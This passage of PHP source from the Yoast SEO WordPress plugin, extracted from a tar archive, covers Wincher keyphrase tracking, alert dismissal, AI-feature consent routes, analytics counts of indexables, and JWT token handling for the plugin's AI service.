$used_keyphrases ??= $this->collect_all_keyphrases();
// If we still have no keyphrases the API will return an error, so
// don't even bother sending a request.
if ( empty( $used_keyphrases ) ) {
return $this->to_result_object(
[
'data' => [],
'status' => 200,
],
);
}
$endpoint = \sprintf(
self::KEYPHRASES_URL,
$this->options_helper->get( 'wincher_website_id' ),
);
$results = $this->client->post(
$endpoint,
WPSEO_Utils::format_json_encode(
[
'keywords' => $used_keyphrases,
'url' => $permalink,
'start_at' => $start_at,
],
),
[
'timeout' => 60,
],
);
if ( ! \array_key_exists( 'data', $results ) ) {
return $this->to_result_object( $results );
}
$results['data'] = $this->filter_results_by_used_keyphrases( $results['data'], $used_keyphrases );
// Extract the positional data and assign it to the keyphrase.
$results['data'] = \array_combine(
\array_column( $results['data'], 'keyword' ),
\array_values( $results['data'] ),
);
return $this->to_result_object( $results );
} catch ( Exception $e ) {
return (object) [
'error' => $e->getMessage(),
'status' => $e->getCode(),
];
}
}
/**
* Collects the keyphrases associated with the post.
*
* @param WP_Post $post The post object.
*
* @return array The keyphrases.
*/
public function collect_keyphrases_from_post( $post ) {
$keyphrases = [];
$primary_keyphrase = $this->indexable_repository
->query()
->select( 'primary_focus_keyword' )
->where( 'object_id', $post->ID )
->find_one();
if ( $primary_keyphrase ) {
$keyphrases[] = $primary_keyphrase->primary_focus_keyword;
}
/**
* Filters the keyphrases collected by the Wincher integration from the post.
*
* @param array $keyphrases The keyphrases array.
* @param int $post_id The ID of the post.
*/
return \apply_filters( 'wpseo_wincher_keyphrases_from_post', $keyphrases, $post->ID );
}
/**
* Collects all keyphrases known to Yoast.
*
* @return array
*/
protected function collect_all_keyphrases() {
// Collect primary keyphrases first.
$keyphrases = \array_column(
$this->indexable_repository
->query()
->select( 'primary_focus_keyword' )
->where_not_null( 'primary_focus_keyword' )
->where( 'object_type', 'post' )
->where_not_equal( 'post_status', 'trash' )
->distinct()
->find_array(),
'primary_focus_keyword',
);
/**
* Filters the keyphrases collected by the Wincher integration from all the posts.
*
* @param array $keyphrases The keyphrases array.
*/
$keyphrases = \apply_filters( 'wpseo_wincher_all_keyphrases', $keyphrases );
// Filter out empty entries.
return \array_filter( $keyphrases );
}
/**
* Filters the results based on the passed keyphrases.
*
* @param array $results The results to filter.
* @param array $used_keyphrases The used keyphrases.
*
* @return array The filtered results.
*/
protected function filter_results_by_used_keyphrases( $results, $used_keyphrases ) {
return \array_filter(
$results,
static function ( $result ) use ( $used_keyphrases ) {
return \in_array( $result['keyword'], \array_map( 'strtolower', $used_keyphrases ), true );
},
);
}
/**
* Determines whether the amount of keyphrases would mean the user exceeds their account limits.
*
* @param string|array $keyphrases The keyphrases to be added.
* @param object $limits The current account limits.
*
* @return bool Whether the limit is exceeded.
*/
protected function would_exceed_limits( $keyphrases, $limits ) {
if ( ! \is_array( $keyphrases ) ) {
$keyphrases = [ $keyphrases ];
}
if ( $limits->limit === null ) {
return false;
}
return ( \count( $keyphrases ) + $limits->usage ) > $limits->limit;
}
/**
* Converts the passed dataset to an object.
*
* @param array $result The result dataset to convert to an object.
*
* @return object The result object.
*/
protected function to_result_object( $result ) {
if ( \array_key_exists( 'data', $result ) ) {
$result['results'] = (object) $result['data'];
unset( $result['data'] );
}
if ( \array_key_exists( 'message', $result ) ) {
$result['error'] = $result['message'];
unset( $result['message'] );
}
return (object) $result;
}
}
actions/alert-dismissal-action.php 0000644 00000012576 15207625732 0013311 0 ustar 00 user = $user;
}
/**
* Dismisses an alert.
*
* @param string $alert_identifier Alert identifier.
*
* @return bool Whether the dismiss was successful or not.
*/
public function dismiss( $alert_identifier ) {
$user_id = $this->user->get_current_user_id();
if ( $user_id === 0 ) {
return false;
}
if ( $this->is_allowed( $alert_identifier ) === false ) {
return false;
}
$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
if ( $dismissed_alerts === false ) {
return false;
}
if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === true ) {
// The alert is already dismissed.
return true;
}
// Add this alert to the dismissed alerts.
$dismissed_alerts[ $alert_identifier ] = true;
// Save.
return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false;
}
/**
* Resets an alert.
*
* @param string $alert_identifier Alert identifier.
*
* @return bool Whether the reset was successful or not.
*/
public function reset( $alert_identifier ) {
$user_id = $this->user->get_current_user_id();
if ( $user_id === 0 ) {
return false;
}
if ( $this->is_allowed( $alert_identifier ) === false ) {
return false;
}
$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
if ( $dismissed_alerts === false ) {
return false;
}
$amount_of_dismissed_alerts = \count( $dismissed_alerts );
if ( $amount_of_dismissed_alerts === 0 ) {
// No alerts: nothing to reset.
return true;
}
if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === false ) {
// Alert not found: nothing to reset.
return true;
}
if ( $amount_of_dismissed_alerts === 1 ) {
// The 1 remaining dismissed alert is the alert to reset: delete the alerts user meta row.
return $this->user->delete_meta( $user_id, static::USER_META_KEY, $dismissed_alerts );
}
// Remove this alert from the dismissed alerts.
unset( $dismissed_alerts[ $alert_identifier ] );
// Save.
return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false;
}
/**
* Returns if an alert is dismissed or not.
*
* @param string $alert_identifier Alert identifier.
*
* @return bool Whether the alert has been dismissed.
*/
public function is_dismissed( $alert_identifier ) {
$user_id = $this->user->get_current_user_id();
if ( $user_id === 0 ) {
return false;
}
if ( $this->is_allowed( $alert_identifier ) === false ) {
return false;
}
$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
if ( $dismissed_alerts === false ) {
return false;
}
return \array_key_exists( $alert_identifier, $dismissed_alerts );
}
/**
* Returns an object with all alerts dismissed by current user.
*
* @return array|false An array with the keys of all Alerts that have been dismissed
* by the current user or `false`.
*/
public function all_dismissed() {
$user_id = $this->user->get_current_user_id();
if ( $user_id === 0 ) {
return false;
}
$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
if ( $dismissed_alerts === false ) {
return false;
}
return $dismissed_alerts;
}
/**
* Returns if an alert is allowed or not.
*
* @param string $alert_identifier Alert identifier.
*
* @return bool Whether the alert is allowed.
*/
public function is_allowed( $alert_identifier ) {
return \in_array( $alert_identifier, $this->get_allowed_dismissable_alerts(), true );
}
/**
* Retrieves the dismissed alerts.
*
* @param int $user_id User ID.
*
* @return string[]|false The dismissed alerts. False for an invalid $user_id.
*/
protected function get_dismissed_alerts( $user_id ) {
$dismissed_alerts = $this->user->get_meta( $user_id, static::USER_META_KEY, true );
if ( $dismissed_alerts === false ) {
// Invalid user ID.
return false;
}
if ( $dismissed_alerts === '' ) {
/*
* When no database row exists yet, an empty string is returned because of the `single` parameter.
* We do want a single result returned, but the default should be an empty array instead.
*/
return [];
}
return $dismissed_alerts;
}
/**
* Retrieves the allowed dismissable alerts.
*
* @return string[] The allowed dismissable alerts.
*/
protected function get_allowed_dismissable_alerts() {
/**
* Filter: 'wpseo_allowed_dismissable_alerts' - List of allowed dismissable alerts.
*
* @param string[] $allowed_dismissable_alerts Allowed dismissable alerts list.
*/
$allowed_dismissable_alerts = \apply_filters( 'wpseo_allowed_dismissable_alerts', [] );
if ( \is_array( $allowed_dismissable_alerts ) === false ) {
return [];
}
// Only allow strings.
$allowed_dismissable_alerts = \array_filter( $allowed_dismissable_alerts, 'is_string' );
// Filter unique and reorder indices.
$allowed_dismissable_alerts = \array_values( \array_unique( $allowed_dismissable_alerts ) );
return $allowed_dismissable_alerts;
}
}
exceptions/importing/aioseo-validation-exception.php 0000644 00000000653 15207625733 0017067 0 ustar 00 [],
'error' => $this->getMessage() . ': ' . $this->getPrevious()->getMessage(),
'status' => $this->getCode(),
];
}
}
exceptions/oauth/tokens/failed-storage-exception.php 0000644 00000001116 15207625734 0016755 0 ustar 00 user_helper = $user_helper;
}
/**
* Handles consent revoked by deleting the consent user metadata from the database.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function revoke_consent( int $user_id ) {
$this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_consent' );
}
/**
* Handles consent granted by adding the consent user metadata to the database.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function grant_consent( int $user_id ) {
$this->user_helper->update_meta( $user_id, '_yoast_wpseo_ai_consent', true );
}
}
ai-consent/infrastructure/endpoints/consent-endpoint.php 0000644 00000002024 15207625737 0017703 0 ustar 00 get_namespace() . $this->get_route() );
}
}
ai-consent/user-interface/consent-route.php 0000644 00000010565 15207625737 0015063 0 ustar 00 The conditionals.
*/
public static function get_conditionals() {
return [ AI_Conditional::class ];
}
/**
* Class constructor.
*
* @param Consent_Handler $consent_handler The consent handler.
* @param Token_Manager $token_manager The token manager.
*/
public function __construct( Consent_Handler $consent_handler, Token_Manager $token_manager ) {
$this->consent_handler = $consent_handler;
$this->token_manager = $token_manager;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
'methods' => 'POST',
'args' => [
'consent' => [
'required' => true,
'type' => 'boolean',
'description' => 'Whether the consent to use AI-based services has been given by the user.',
],
],
'callback' => [ $this, 'consent' ],
'permission_callback' => [ $this, 'check_permissions' ],
],
);
}
/**
* Runs the callback to store the consent given by the user to use AI-based services.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The response of the callback action.
*/
public function consent( WP_REST_Request $request ): WP_REST_Response {
$user_id = \get_current_user_id();
$consent = (bool) $request->get_param( 'consent' );
try {
if ( $consent ) {
// Store the consent at user level.
$this->consent_handler->grant_consent( $user_id );
}
else {
// Delete the consent at user level.
$this->consent_handler->revoke_consent( $user_id );
// Invalidate the token if the user revoked the consent.
$this->token_manager->token_invalidate( $user_id );
}
} catch ( Bad_Request_Exception | Forbidden_Exception | Internal_Server_Error_Exception | Not_Found_Exception | Payment_Required_Exception | Request_Timeout_Exception | Service_Unavailable_Exception | Too_Many_Requests_Exception | RuntimeException $e ) {
return new WP_REST_Response( ( $consent ) ? 'Failed to store consent.' : 'Failed to revoke consent.', 500 );
}
return new WP_REST_Response( ( $consent ) ? 'Consent successfully stored.' : 'Consent successfully revoked.' );
}
/**
* Checks:
* - if the user is logged
* - if the user can edit posts
*
* @return bool Whether the user is logged in, can edit posts and the feature is active.
*/
public function check_permissions(): bool {
$user = \wp_get_current_user();
if ( $user === null || $user->ID < 1 ) {
return false;
}
return \user_can( $user, 'edit_posts' );
}
}
ai-consent/user-interface/ai-consent-integration.php 0000644 00000005712 15207625737 0016635 0 ustar 00
*/
public static function get_conditionals(): array {
return [ User_Profile_Conditional::class ];
}
/**
* Constructs the class.
*
* @param WPSEO_Admin_Asset_Manager $asset_manager The admin asset manager.
* @param User_Helper $user_helper The user helper.
* @param Short_Link_Helper $short_link_helper The short link helper.
*/
public function __construct(
WPSEO_Admin_Asset_Manager $asset_manager,
User_Helper $user_helper,
Short_Link_Helper $short_link_helper
) {
$this->asset_manager = $asset_manager;
$this->user_helper = $user_helper;
$this->short_link_helper = $short_link_helper;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
// Hide AI feature option in user profile if the user is not allowed to use it.
if ( \current_user_can( 'edit_posts' ) ) {
\add_action( 'wpseo_user_profile_additions', [ $this, 'render_user_profile' ], 12 );
}
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
}
/**
* Returns the script data for the AI consent button.
*
* @return array
*/
public function get_script_data(): array {
return [
'hasConsent' => $this->user_helper->get_meta( $this->user_helper->get_current_user_id(), '_yoast_wpseo_ai_consent', true ),
'pluginUrl' => \plugins_url( '', \WPSEO_FILE ),
'linkParams' => $this->short_link_helper->get_query_params(),
];
}
/**
* Enqueues the required assets.
*
* @return void
*/
public function enqueue_assets() {
$this->asset_manager->enqueue_style( 'ai-generator' );
$this->asset_manager->localize_script( 'ai-consent', 'wpseoAiConsent', $this->get_script_data() );
$this->asset_manager->enqueue_script( 'ai-consent' );
}
/**
* Renders the AI consent button for the user profile.
*
* @return void
*/
public function render_user_profile() {
echo '',
'';
}
}
analytics/domain/missing-indexable-bucket.php 0000644 00000001732 15207625737 0015411 0 ustar 00
*/
private $missing_indexable_counts;
/**
* The constructor.
*/
public function __construct() {
$this->missing_indexable_counts = [];
}
/**
* Adds a missing indexable count object to this bucket.
*
* @param Missing_Indexable_Count $missing_indexable_count The missing indexable count object.
*
* @return void
*/
public function add_missing_indexable_count( Missing_Indexable_Count $missing_indexable_count ): void {
$this->missing_indexable_counts[] = $missing_indexable_count;
}
/**
* Returns the array representation of all indexable counts.
*
* @return array
*/
public function to_array() {
return \array_map(
static function ( $item ) {
return $item->to_array();
},
$this->missing_indexable_counts,
);
}
}
analytics/domain/to-be-cleaned-indexable-count.php 0000644 00000002231 15207625737 0016205 0 ustar 00 cleanup_name = $cleanup_name;
$this->count = $count;
}
/**
* Returns an array representation of the data.
*
* @return array Returns both values in an array format.
*/
public function to_array() {
return [
'cleanup_name' => $this->get_cleanup_name(),
'count' => $this->get_count(),
];
}
/**
* Gets the name.
*
* @return string
*/
public function get_cleanup_name() {
return $this->cleanup_name;
}
/**
* Gets the count.
*
* @return int Returns the amount of missing indexables.
*/
public function get_count() {
return $this->count;
}
}
analytics/domain/to-be-cleaned-indexable-bucket.php 0000644 00000002063 15207625737 0016335 0 ustar 00
*/
private $to_be_cleaned_indexable_counts;
/**
* The constructor.
*/
public function __construct() {
$this->to_be_cleaned_indexable_counts = [];
}
/**
* Adds a 'to be cleaned' indexable count object to this bucket.
*
* @param To_Be_Cleaned_Indexable_Count $to_be_cleaned_indexable_counts The to be cleaned indexable count object.
*
* @return void
*/
public function add_to_be_cleaned_indexable_count( To_Be_Cleaned_Indexable_Count $to_be_cleaned_indexable_counts ) {
$this->to_be_cleaned_indexable_counts[] = $to_be_cleaned_indexable_counts;
}
/**
* Returns the array representation of all indexable counts.
*
* @return array
*/
public function to_array() {
return \array_map(
static function ( $item ) {
return $item->to_array();
},
$this->to_be_cleaned_indexable_counts,
);
}
}
analytics/domain/missing-indexable-count.php 0000644 00000002336 15207625737 0015265 0 ustar 00 indexable_type = $indexable_type;
$this->count = $count;
}
/**
* Returns an array representation of the data.
*
* @return array Returns both values in an array format.
*/
public function to_array() {
return [
'indexable_type' => $this->get_indexable_type(),
'count' => $this->get_count(),
];
}
/**
* Gets the indexable type.
*
* @return string Returns the indexable type.
*/
public function get_indexable_type() {
return $this->indexable_type;
}
/**
* Gets the count.
*
* @return int Returns the amount of missing indexables.
*/
public function get_count() {
return $this->count;
}
}
analytics/application/to-be-cleaned-indexables-collector.php 0000644 00000010124 15207625740 0020254 0 ustar 00 indexable_cleanup_repository = $indexable_cleanup_repository;
}
/**
* Gets the data for the collector.
*
* @return array
*/
public function get() {
$to_be_cleaned_indexable_bucket = new To_Be_Cleaned_Indexable_Bucket();
$cleanup_tasks = [
'indexables_with_post_object_type_and_shop_order_object_sub_type' => $this->indexable_cleanup_repository->count_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order' ),
'indexables_with_auto-draft_post_status' => $this->indexable_cleanup_repository->count_indexables_with_post_status( 'auto-draft' ),
'indexables_for_non_publicly_viewable_post' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_viewable_post(),
'indexables_for_non_publicly_viewable_taxonomies' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_viewable_taxonomies(),
'indexables_for_non_publicly_viewable_post_type_archive_pages' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_post_type_archive_pages(),
'indexables_for_authors_archive_disabled' => $this->indexable_cleanup_repository->count_indexables_for_authors_archive_disabled(),
'indexables_for_authors_without_archive' => $this->indexable_cleanup_repository->count_indexables_for_authors_without_archive(),
'indexables_for_object_type_and_source_table_users' => $this->indexable_cleanup_repository->count_indexables_for_orphaned_users(),
'indexables_for_object_type_and_source_table_posts' => $this->indexable_cleanup_repository->count_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post' ),
'indexables_for_object_type_and_source_table_terms' => $this->indexable_cleanup_repository->count_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term' ),
'orphaned_from_table_indexable_hierarchy' => $this->indexable_cleanup_repository->count_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id' ),
'orphaned_from_table_indexable_id' => $this->indexable_cleanup_repository->count_orphaned_from_table( 'SEO_Links', 'indexable_id' ),
'orphaned_from_table_target_indexable_id' => $this->indexable_cleanup_repository->count_orphaned_from_table( 'SEO_Links', 'target_indexable_id' ),
];
foreach ( $cleanup_tasks as $name => $count ) {
if ( $count !== null ) {
$count_object = new To_Be_Cleaned_Indexable_Count( $name, $count );
$to_be_cleaned_indexable_bucket->add_to_be_cleaned_indexable_count( $count_object );
}
}
$this->add_additional_counts( $to_be_cleaned_indexable_bucket );
return [ 'to_be_cleaned_indexables' => $to_be_cleaned_indexable_bucket->to_array() ];
}
/**
* Allows additional tasks to be added via the 'wpseo_add_cleanup_counts_to_indexable_bucket' action.
*
* @param To_Be_Cleaned_Indexable_Bucket $to_be_cleaned_indexable_bucket The current bucket with data.
*
* @return void
*/
private function add_additional_counts( $to_be_cleaned_indexable_bucket ) {
/**
* Action: Adds the possibility to add additional to be cleaned objects.
*
* @internal
* @param To_Be_Cleaned_Indexable_Bucket $bucket An indexable cleanup bucket. New values are instances of To_Be_Cleaned_Indexable_Count.
*/
\do_action( 'wpseo_add_cleanup_counts_to_indexable_bucket', $to_be_cleaned_indexable_bucket );
}
}
analytics/application/missing-indexables-collector.php 0000644 00000004522 15207625740 0017333 0 ustar 00
*/
private $indexation_actions;
/**
* The collector constructor.
*
* @param Indexation_Action_Interface ...$indexation_actions All the Indexation actions.
*/
public function __construct( Indexation_Action_Interface ...$indexation_actions ) {
$this->indexation_actions = $indexation_actions;
$this->add_additional_indexing_actions();
}
/**
* Gets the data for the tracking collector.
*
* @return array The list of missing indexables.
*/
public function get() {
$missing_indexable_bucket = new Missing_Indexable_Bucket();
foreach ( $this->indexation_actions as $indexation_action ) {
$missing_indexable_count = new Missing_Indexable_Count( \get_class( $indexation_action ), $indexation_action->get_total_unindexed() );
$missing_indexable_bucket->add_missing_indexable_count( $missing_indexable_count );
}
return [ 'missing_indexables' => $missing_indexable_bucket->to_array() ];
}
/**
* Adds additional indexing actions to count from the 'wpseo_indexable_collector_add_indexation_actions' filter.
*
* @return void
*/
private function add_additional_indexing_actions() {
/**
* Filter: Adds the possibility to add additional indexation actions to be included in the count routine.
*
* @internal
* @param Indexation_Action_Interface $actions This filter expects a list of Indexation_Action_Interface instances
* and expects only Indexation_Action_Interface implementations to be
* added to the list.
*/
$indexing_actions = (array) \apply_filters( 'wpseo_indexable_collector_add_indexation_actions', $this->indexation_actions );
$this->indexation_actions = \array_filter(
$indexing_actions,
static function ( $indexing_action ) {
return \is_a( $indexing_action, Indexation_Action_Interface::class );
},
);
}
}
analytics/user-interface/last-completed-indexation-integration.php 0000644 00000003335 15207625740 0021572 0 ustar 00 options_helper = $options_helper;
}
/**
* Registers action hook to maybe save an option.
*
* @return void
*/
public function register_hooks(): void {
\add_action(
'wpseo_indexables_unindexed_calculated',
[
$this,
'maybe_set_indexables_unindexed_calculated',
],
10,
2,
);
}
/**
* Saves a timestamp option when there are no unindexed indexables.
*
* @param string $indexable_name The name of the indexable that is being checked.
* @param int $count The amount of missing indexables.
*
* @return void
*/
public function maybe_set_indexables_unindexed_calculated( string $indexable_name, int $count ): void {
if ( $count === 0 ) {
$no_index = $this->options_helper->get( 'last_known_no_unindexed', [] );
$no_index[ $indexable_name ] = \time();
\remove_action( 'update_option_wpseo', [ 'WPSEO_Utils', 'clear_cache' ] );
$this->options_helper->set( 'last_known_no_unindexed', $no_index );
\add_action( 'update_option_wpseo', [ 'WPSEO_Utils', 'clear_cache' ] );
}
}
}
ai-authorization/domain/code-verifier.php 0000644 00000002417 15207625740 0014552 0 ustar 00 code = $code;
$this->created_at = $created_at;
}
/**
* Get the code.
*
* @return string The code.
*/
public function get_code(): string {
return $this->code;
}
/**
* Get the creation time of the code.
*
* @return int The creation time of the code.
*/
public function get_created_at(): int {
return $this->created_at;
}
/**
* Check if the code is expired.
*
* @param int $validity_in_seconds The validity of the code in seconds.
*
* @return bool True if the code is expired, false otherwise.
*/
public function is_expired( int $validity_in_seconds ): bool {
return $this->created_at < ( \time() - $validity_in_seconds );
}
}
ai-authorization/domain/token.php 0000644 00000001622 15207625740 0013144 0 ustar 00 value = $value;
$this->expiration = $expiration;
}
/**
* Get the token value.
*
* @return string The token value.
*/
public function get_value(): string {
return $this->value;
}
/**
* Whether the token is expired.
*
* @return bool True if the token is expired, false otherwise.
*/
public function is_expired(): bool {
return $this->expiration < \time();
}
}
ai-authorization/application/code-verifier-handler-interface.php 0000644 00000001410 15207625740 0021147 0 ustar 00 date_helper = $date_helper;
$this->code_verifier_repository = $code_verifier_repository;
$this->code_generator = $code_generator;
}
/**
* Generate a code verifier for a user.
*
* @param string $user_email The user email.
*
* @return Code_Verifier The generated code verifier.
*/
public function generate( string $user_email ): Code_Verifier {
$code = $this->code_generator->generate( $user_email );
$created_at = $this->date_helper->current_time();
return new Code_Verifier( $code, $created_at );
}
/**
* Validate the code verifier for a user.
*
* @param int $user_id The user ID.
*
* @return string The code verifier.
*
* @throws RuntimeException If the code verifier is expired or invalid.
*/
public function validate( int $user_id ): string {
$code_verifier = $this->code_verifier_repository->get_code_verifier( $user_id );
if ( $code_verifier === null || $code_verifier->is_expired( self::VALIDITY_IN_SECONDS ) ) {
$this->code_verifier_repository->delete_code_verifier( $user_id );
throw new RuntimeException( 'Code verifier has expired or is invalid.' );
}
return $code_verifier->get_code();
}
}
ai-authorization/application/token-manager-interface.php 0000644 00000011017 15207625740 0017545 0 ustar 00 access_token_repository = $access_token_repository;
$this->code_verifier = $code_verifier;
$this->consent_handler = $consent_handler;
$this->refresh_token_repository = $refresh_token_repository;
$this->user_helper = $user_helper;
$this->request_handler = $request_handler;
$this->code_verifier_repository = $code_verifier_repository;
$this->urls = $urls;
}
// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.
/**
* Invalidates the access token.
*
* @param string $user_id The user ID.
*
* @return void
*
* @throws Bad_Request_Exception Bad_Request_Exception.
* @throws Internal_Server_Error_Exception Internal_Server_Error_Exception.
* @throws Not_Found_Exception Not_Found_Exception.
* @throws Payment_Required_Exception Payment_Required_Exception.
* @throws Request_Timeout_Exception Request_Timeout_Exception.
* @throws Service_Unavailable_Exception Service_Unavailable_Exception.
* @throws Too_Many_Requests_Exception Too_Many_Requests_Exception.
* @throws RuntimeException Unable to retrieve the access token.
*/
public function token_invalidate( string $user_id ): void {
try {
$access_jwt = $this->access_token_repository->get_token( $user_id );
} catch ( RuntimeException $e ) {
$access_jwt = '';
}
$request_body = [
'user_id' => (string) $user_id,
];
$request_headers = [
'Authorization' => "Bearer $access_jwt",
];
try {
$this->request_handler->handle(
new Request(
'/token/invalidate',
$request_body,
$request_headers,
),
);
} catch ( Unauthorized_Exception | Forbidden_Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch -- Reason: Ignored on purpose.
// If the credentials in our request were already invalid, our job is done and we continue to remove the tokens client-side.
}
// Delete the stored JWT tokens.
$this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_generator_access_jwt' );
$this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_generator_refresh_jwt' );
}
/**
* Requests a new set of JWT tokens.
*
* Requests a new JWT access and refresh token for a user from the Yoast AI Service and stores it in the database
* under usermeta. The storing of the token happens in a HTTP callback that is triggered by this request.
*
* @param WP_User $user The WP user.
*
* @return void
*
* @throws Bad_Request_Exception Bad_Request_Exception.
* @throws Forbidden_Exception Forbidden_Exception.
* @throws Internal_Server_Error_Exception Internal_Server_Error_Exception.
* @throws Not_Found_Exception Not_Found_Exception.
* @throws Payment_Required_Exception Payment_Required_Exception.
* @throws Request_Timeout_Exception Request_Timeout_Exception.
* @throws Service_Unavailable_Exception Service_Unavailable_Exception.
* @throws Too_Many_Requests_Exception Too_Many_Requests_Exception.
* @throws Unauthorized_Exception Unauthorized_Exception.
*/
public function token_request( WP_User $user ): void {
// Ensure the user has given consent.
if ( $this->user_helper->get_meta( $user->ID, '_yoast_wpseo_ai_consent', true ) !== '1' ) {
// phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive.
$this->consent_handler->revoke_consent( $user->ID );
throw new Forbidden_Exception( 'CONSENT_REVOKED', 403 );
// phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped
}
// Generate a code verifier and store it in the database.
$code_verifier = $this->code_verifier->generate( $user->user_email );
$this->code_verifier_repository->store_code_verifier( $user->ID, $code_verifier->get_code(), $code_verifier->get_created_at() );
$request_body = [
'service' => 'openai',
'code_challenge' => \hash( 'sha256', $code_verifier->get_code() ),
'license_site_url' => WPSEO_Utils::get_home_url(),
'user_id' => (string) $user->ID,
'callback_url' => $this->urls->get_callback_url(),
'refresh_callback_url' => $this->urls->get_refresh_callback_url(),
];
$this->request_handler->handle( new Request( '/token/request', $request_body ) );
// The callback saves the metadata. Because that is in another session, we need to delete the current cache here. Or we may get the old token.
\wp_cache_delete( $user->ID, 'user_meta' );
}
/**
* Refreshes the JWT access token.
*
* Refreshes a stored JWT access token for a user with the Yoast AI Service and stores it in the database under
* usermeta. The storing of the token happens in a HTTP callback that is triggered by this request.
*
* @param WP_User $user The WP user.
*
* @return void
*
* @throws Bad_Request_Exception Bad_Request_Exception.
* @throws Forbidden_Exception Forbidden_Exception.
* @throws Internal_Server_Error_Exception Internal_Server_Error_Exception.
* @throws Not_Found_Exception Not_Found_Exception.
* @throws Payment_Required_Exception Payment_Required_Exception.
* @throws Request_Timeout_Exception Request_Timeout_Exception.
* @throws Service_Unavailable_Exception Service_Unavailable_Exception.
* @throws Too_Many_Requests_Exception Too_Many_Requests_Exception.
* @throws Unauthorized_Exception Unauthorized_Exception.
* @throws RuntimeException Unable to retrieve the refresh token.
*/
public function token_refresh( WP_User $user ): void {
$refresh_jwt = $this->refresh_token_repository->get_token( $user->ID );
// Generate a code verifier and store it in the database.
$code_verifier = $this->code_verifier->generate( $user->user_email );
$this->code_verifier_repository->store_code_verifier( $user->ID, $code_verifier->get_code(), $code_verifier->get_created_at() );
$request_body = [
'code_challenge' => \hash( 'sha256', $code_verifier->get_code() ),
];
$request_headers = [
'Authorization' => "Bearer $refresh_jwt",
];
$this->request_handler->handle( new Request( '/token/refresh', $request_body, $request_headers ) );
// The callback saves the metadata. Because that is in another session, we need to delete the current cache here. Or we may get the old token.
\wp_cache_delete( $user->ID, 'user_meta' );
}
/**
* Checks whether the token has expired.
*
* @param string $jwt The JWT.
*
* @return bool Whether the token has expired.
*/
public function has_token_expired( string $jwt ): bool {
$parts = \explode( '.', $jwt );
if ( \count( $parts ) !== 3 ) {
// Headers, payload and signature parts are not detected.
return true;
}
// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode -- Reason: Decoding the payload of the JWT.
$payload = \base64_decode( $parts[1] );
$json = \json_decode( $payload );
if ( $json === null || ! isset( $json->exp ) ) {
return true;
}
// Ensure exp is a valid numeric value.
if ( ! \is_numeric( $json->exp ) ) {
return true;
}
return $json->exp < \time();
}
/**
* Retrieves the access token.
*
* @param WP_User $user The WP user.
*
* @return string The access token.
*
* @throws Bad_Request_Exception Bad_Request_Exception.
* @throws Forbidden_Exception Forbidden_Exception.
* @throws Internal_Server_Error_Exception Internal_Server_Error_Exception.
* @throws Not_Found_Exception Not_Found_Exception.
* @throws Payment_Required_Exception Payment_Required_Exception.
* @throws Request_Timeout_Exception Request_Timeout_Exception.
* @throws Service_Unavailable_Exception Service_Unavailable_Exception.
* @throws Too_Many_Requests_Exception Too_Many_Requests_Exception.
* @throws Unauthorized_Exception Unauthorized_Exception.
* @throws RuntimeException Unable to retrieve the access or refresh token.
*/
public function get_or_request_access_token( WP_User $user ): string {
$access_jwt = $this->user_helper->get_meta( $user->ID, '_yoast_wpseo_ai_generator_access_jwt', true );
if ( ! \is_string( $access_jwt ) || $access_jwt === '' ) {
$this->token_request( $user );
$access_jwt = $this->access_token_repository->get_token( $user->ID );
}
elseif ( $this->has_token_expired( $access_jwt ) ) {
try {
$this->token_refresh( $user );
} catch ( Unauthorized_Exception $exception ) {
$this->token_request( $user );
} catch ( Forbidden_Exception $exception ) {
// Follow the API in the consent being revoked (Use case: user sent an e-mail to revoke?).
// phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive.
$this->consent_handler->revoke_consent( $user->ID );
throw new Forbidden_Exception( 'CONSENT_REVOKED', 403 );
// phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped
}
$access_jwt = $this->access_token_repository->get_token( $user->ID );
}
return $access_jwt;
}
// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber
}
ai-authorization/infrastructure/code-generator.php 0000644 00000001217 15207625741 0016534 0 ustar 00 date_helper = $date_helper;
$this->user_helper = $user_helper;
}
/**
* Store the verification code for a user.
*
* @param int $user_id The user ID.
* @param string $code The code verifier.
* @param int $created_at The time the code was created.
*
* @return void
*/
public function store_code_verifier( int $user_id, string $code, int $created_at ): void {
$this->user_helper->update_meta(
$user_id,
'yoast_wpseo_ai_generator_code_verifier_for_blog_' . \get_current_blog_id(),
[
'code' => $code,
'created_at' => $created_at,
],
);
}
/**
* Get the verification code for a user.
*
* @param int $user_id The user ID.
*
* @throws RuntimeException If the code verifier is not found or has expired.
* @return Code_Verifier The verification code or null if not found.
*/
public function get_code_verifier( int $user_id ): ?Code_Verifier {
